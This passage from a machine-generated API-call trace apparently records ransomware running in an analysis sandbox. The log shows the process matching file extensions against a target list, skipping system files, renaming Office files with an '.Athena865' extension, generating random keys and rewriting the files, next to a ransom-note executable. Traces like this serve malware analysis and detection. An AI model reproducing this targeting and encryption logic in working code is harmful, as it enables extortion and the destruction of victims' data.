lstrlenW (lpString="tgz") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="tgz") returned -1 [0152.102] lstrlenW (lpString="vbox") returned 4 [0152.102] lstrcmpiW (lpString1=".SAM", lpString2="vbox") returned -1 [0152.102] lstrlenW (lpString="vdi") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="vdi") returned -1 [0152.102] lstrlenW (lpString="vhd") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="vhd") returned -1 [0152.102] lstrlenW (lpString="vhdx") returned 4 [0152.102] lstrcmpiW (lpString1=".SAM", lpString2="vhdx") returned -1 [0152.102] lstrlenW (lpString="avhd") returned 4 [0152.102] lstrcmpiW (lpString1=".SAM", lpString2="avhd") returned -1 [0152.102] lstrlenW (lpString="db") returned 2 [0152.102] lstrcmpiW (lpString1="AM", lpString2="db") returned -1 [0152.102] lstrlenW (lpString="db2") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="db2") returned 1 [0152.102] lstrlenW (lpString="db3") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="db3") returned 1 [0152.103] lstrlenW (lpString="dbf") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="dbf") returned 1 [0152.103] lstrlenW (lpString="mdf") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="mdf") returned 1 [0152.103] lstrlenW (lpString="mdb") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="mdb") returned 1 [0152.103] lstrlenW (lpString="sql") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="sql") returned -1 [0152.103] lstrlenW (lpString="sqlite") returned 6 [0152.103] lstrcmpiW (lpString1="AM.SAM", lpString2="sqlite") returned -1 [0152.103] lstrlenW (lpString="sqlite3") returned 7 [0152.103] lstrcmpiW (lpString1="SAM.SAM", lpString2="sqlite3") returned -1 [0152.103] lstrlenW (lpString="sqlitedb") returned 8 [0152.103] lstrcmpiW (lpString1="KSAM.SAM", lpString2="sqlitedb") returned -1 [0152.103] lstrlenW (lpString="xml") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="xml") returned -1 [0152.103] lstrlenW (lpString="$er") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="$er") returned 1 [0152.103] lstrlenW (lpString="4dd") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="4dd") returned 1 [0152.103] lstrlenW (lpString="4dl") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="4dl") returned 1 [0152.103] lstrlenW (lpString="^^^") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="^^^") returned 1 [0152.103] lstrlenW (lpString="abs") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="abs") returned 1 [0152.103] lstrlenW (lpString="abx") returned 3 [0152.103] lstrcmpiW (lpString1="SAM", lpString2="abx") returned 1 [0152.104] lstrlenW (lpString="accdb") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accdb") returned 1 [0152.104] lstrlenW (lpString="accdc") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accdc") returned 1 [0152.104] lstrlenW (lpString="accde") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accde") returned 1 [0152.104] lstrlenW (lpString="accdr") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accdr") returned 1 [0152.104] lstrlenW (lpString="accdt") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accdt") returned 1 [0152.104] lstrlenW (lpString="accdw") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accdw") returned 1 [0152.104] lstrlenW (lpString="accft") returned 5 [0152.104] lstrcmpiW (lpString1="M.SAM", lpString2="accft") returned 1 [0152.104] lstrlenW (lpString="adb") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="adb") returned 1 [0152.104] lstrlenW (lpString="adb") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="adb") returned 1 [0152.104] lstrlenW (lpString="ade") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="ade") returned 1 [0152.104] lstrlenW (lpString="adf") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="adf") returned 1 [0152.104] lstrlenW (lpString="adn") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="adn") returned 1 [0152.104] lstrlenW (lpString="adp") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="adp") returned 1 [0152.104] lstrlenW (lpString="alf") returned 3 [0152.104] lstrcmpiW (lpString1="SAM", lpString2="alf") returned 1 [0152.104] lstrlenW (lpString="ask") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="ask") returned 1 [0152.105] lstrlenW (lpString="btr") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="btr") returned 1 [0152.105] lstrlenW (lpString="cat") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="cat") returned 1 [0152.105] lstrlenW (lpString="cdb") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="cdb") returned 1 [0152.105] lstrlenW (lpString="ckp") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="ckp") returned 1 [0152.105] lstrlenW (lpString="cma") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="cma") returned 1 [0152.105] lstrlenW (lpString="cpd") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="cpd") returned 1 [0152.105] lstrlenW (lpString="dacpac") returned 6 [0152.105] lstrcmpiW (lpString1="AM.SAM", lpString2="dacpac") returned -1 [0152.105] lstrlenW (lpString="dad") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="dad") returned 1 [0152.105] lstrlenW (lpString="dadiagrams") returned 10 [0152.105] lstrcmpiW (lpString1="ESKSAM.SAM", lpString2="dadiagrams") returned 1 [0152.105] lstrlenW (lpString="daschema") returned 8 [0152.105] lstrcmpiW (lpString1="KSAM.SAM", lpString2="daschema") returned 1 [0152.105] lstrlenW (lpString="db-journal") returned 10 [0152.105] lstrcmpiW (lpString1="ESKSAM.SAM", lpString2="db-journal") returned 1 [0152.105] lstrlenW (lpString="db-shm") returned 6 [0152.105] lstrcmpiW (lpString1="AM.SAM", lpString2="db-shm") returned -1 [0152.105] lstrlenW (lpString="db-wal") returned 6 [0152.105] lstrcmpiW (lpString1="AM.SAM", lpString2="db-wal") returned -1 [0152.105] lstrlenW (lpString="dbc") returned 3 [0152.105] lstrcmpiW (lpString1="SAM", lpString2="dbc") returned 1 [0152.105] lstrlenW (lpString="dbs") returned 3 [0152.106] lstrcmpiW (lpString1="SAM", lpString2="dbs") returned 1 [0152.106] lstrlenW (lpString="dbt") returned 3 [0152.106] lstrcmpiW (lpString1="SAM", lpString2="dbt") returned 1 [0152.106] lstrlenW (lpString="dbv") returned 3 [0152.106] lstrcmpiW (lpString1="SAM", lpString2="dbv") returned 1 [0152.106] lstrlenW (lpString="dbx") returned 3 [0152.106] lstrcmpiW (lpString1="SAM", lpString2="dbx") returned 1 [0152.106] lstrlenW (lpString="dcb") returned 3 [0152.106] lstrcmpiW (lpString1="SAM", lpString2="dcb") returned 1 [0152.106] lstrcmpiW (lpString1="SAM", lpString2="dct") returned 1 [0152.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.Athena865") returned 72 [0152.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.athena865"), dwFlags=0x1) returned 1 [0152.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.108] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23424) returned 1 [0152.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.108] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.109] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.109] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.109] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e80, lpName=0x0) returned 0x154 [0152.111] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5e80) returned 0x100000 [0152.112] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.113] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.113] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.114] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.114] CloseHandle (hObject=0x154) returned 1 [0152.114] CloseHandle (hObject=0x17c) returned 1 [0152.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.114] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a825e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd0a825e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.114] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.114] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0152.114] lstrcmpiW (lpString1="ODBC.SAM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2=".") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="..") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="windows") returned -1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="bootmgr") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="temp") returned -1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="pagefile.sys") returned -1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="boot") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="ids.txt") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="ntuser.dat") returned 1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="perflogs") returned -1 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2="MSBuild") returned 1 [0152.115] lstrlenW (lpString="ODBC.SAM") returned 8 [0152.115] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ODBC.SAM" | out: lpString1="ODBC.SAM") returned="ODBC.SAM" [0152.115] lstrlenW (lpString="ODBC.SAM") returned 8 [0152.115] lstrlenW (lpString="Athena865") returned 9 [0152.115] lstrlenW (lpString=".dll") returned 4 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2=".dll") returned 1 [0152.115] lstrlenW (lpString=".lnk") returned 4 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2=".lnk") returned 1 [0152.115] lstrlenW (lpString=".ini") returned 4 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2=".ini") returned 1 [0152.115] lstrlenW (lpString=".sys") returned 4 [0152.115] lstrcmpiW (lpString1="ODBC.SAM", lpString2=".sys") returned 1 [0152.115] lstrlenW (lpString="ODBC.SAM") returned 8 [0152.116] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.Athena865") returned 69 [0152.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.athena865"), dwFlags=0x1) returned 1 [0152.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.117] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63864) returned 1 [0152.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.118] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.118] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.118] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.118] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc80, lpName=0x0) returned 0x154 [0152.120] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc80) returned 0x100000 [0152.123] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.124] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.124] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.125] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.125] CloseHandle (hObject=0x154) returned 1 [0152.125] CloseHandle (hObject=0x17c) returned 1 [0152.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.126] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2=".") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="..") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="windows") returned -1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="bootmgr") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="temp") returned -1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="pagefile.sys") returned -1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="boot") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="ids.txt") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="ntuser.dat") returned 1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="perflogs") returned -1 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2="MSBuild") returned 1 [0152.126] lstrlenW (lpString="OL.SAM") returned 6 [0152.126] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OL.SAM" | out: lpString1="OL.SAM") returned="OL.SAM" [0152.126] lstrlenW (lpString="OL.SAM") returned 6 [0152.126] lstrlenW (lpString="Athena865") returned 9 [0152.126] lstrlenW (lpString=".dll") returned 4 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2=".dll") returned 1 [0152.126] lstrlenW (lpString=".lnk") returned 4 [0152.126] lstrcmpiW (lpString1="OL.SAM", lpString2=".lnk") returned 1 [0152.127] lstrlenW (lpString=".ini") returned 4 [0152.127] lstrcmpiW (lpString1="OL.SAM", lpString2=".ini") returned 1 [0152.127] lstrlenW (lpString=".sys") returned 4 [0152.127] lstrcmpiW (lpString1="OL.SAM", lpString2=".sys") returned 1 [0152.127] lstrlenW (lpString="OL.SAM") returned 6 [0152.127] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.Athena865") returned 67 [0152.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.athena865"), dwFlags=0x1) returned 1 [0152.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.128] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29056) returned 1 [0152.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.129] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.129] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.129] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.130] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7480, lpName=0x0) returned 0x154 [0152.131] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7480) returned 0x100000 [0152.133] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.134] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.134] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.134] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.135] CloseHandle (hObject=0x154) returned 1 [0152.135] CloseHandle (hObject=0x17c) returned 1 [0152.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.135] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2=".") returned 1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2="..") returned 1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2="windows") returned -1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2="bootmgr") returned 1 [0152.135] lstrcmpiW (lpString1="OLADD.FAE", lpString2="temp") returned -1 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2="pagefile.sys") returned -1 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2="boot") returned 1 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2="ids.txt") returned 1 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2="ntuser.dat") returned 1 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2="perflogs") returned -1 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2="MSBuild") returned 1 [0152.136] lstrlenW (lpString="OLADD.FAE") returned 9 [0152.136] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OLADD.FAE" | out: lpString1="OLADD.FAE") returned="OLADD.FAE" [0152.136] lstrlenW (lpString="OLADD.FAE") returned 9 [0152.136] lstrlenW (lpString="Athena865") returned 9 [0152.136] lstrlenW (lpString=".dll") returned 4 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2=".dll") returned 1 [0152.136] lstrlenW (lpString=".lnk") returned 4 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2=".lnk") returned 1 [0152.136] lstrlenW (lpString=".ini") returned 4 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", lpString2=".ini") returned 1 [0152.136] lstrlenW (lpString=".sys") returned 4 [0152.136] lstrcmpiW (lpString1="OLADD.FAE", 